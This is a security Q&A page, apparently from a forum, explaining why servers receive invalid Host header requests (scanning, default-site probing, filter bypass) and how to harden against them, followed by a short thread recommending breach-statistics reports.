Why do Invalid Host header errors exist, what are attackers trying to achieve? I have recently launched a new django based api, and quite quickly, I started to receive INVALID_HOST_HEADER SOME RANDOM URL errors. My understanding is that this is caused by somebody manually changing the HOST header, or proxying my API through some other domain.

This is probably a basic question, but what is the point? What are they trying to achieve? Presumably it's not a regular MITM attack, because it would be easy enough to correct the HOST header on its way out of the middle server, and they're not doing so.

Using a proxy isn't necessary. I wrote a PowerShell module SocketHttpRequest which allows one to submit a custom HTTP request to a destination. It was created to test applications without having to modify DNS or the local hosts file.

netcat is another option: How to make an HTTP GET request manually with netcat?

In terms of what they're trying to achieve:

1) IP Address

Many internet scanners just scan IP address ranges looking for vulnerable web servers. When a web server is found, they send it a request using the destination IP address as the host header value (e.g. Host: 1.1.1.1). No additional steps are taken to determine what website is actually being hosted (e.g. reverse dns lookup).

2) Alternative Host Values

Occasionally a request for an unknown host header value will be submitted. This is to see if the web server will respond with the "default" website; which allows any host header value and should be avoided. This is of greatest concern for web applications and Content Management Systems (CMS) that may rely on the host header value for generating links and other tasks.

  Example: Suppose your website is configured to allow any host header
  value and all links are dynamically generated based on that value.
  I register a domain bad.com to your web server IP address.
  Upon visiting bad.com, your website is displayed with all the links
  resolving to bad.com.

3) Security Filtering

In some cases, modifying the Host: value is an attempt to bypass or enumerate any security filtering in place. This could be a Web Application Firewall (WAF), load balancer, web server, or modules within the application itself.

Fix

The best fix for this is two-fold.

Websites should only respond to requests for the host header values registered in DNS. "Default" websites should be avoided.
Applications should use Host values from configuration files and not rely on the server providing this value. This defense in depth mitigates the risk of a misconfiguration.


Where can I find statistics on security breaches? I am putting together a security presentation, and I would like statistics on the occurrence of and damages from security breaches. Does anyone know of a reliable, recently-updated source?

Likely helpful:

Verizon's Data Breach Investigations Reports
Trustwave's Global Security Reports
Mandiant's M-Trends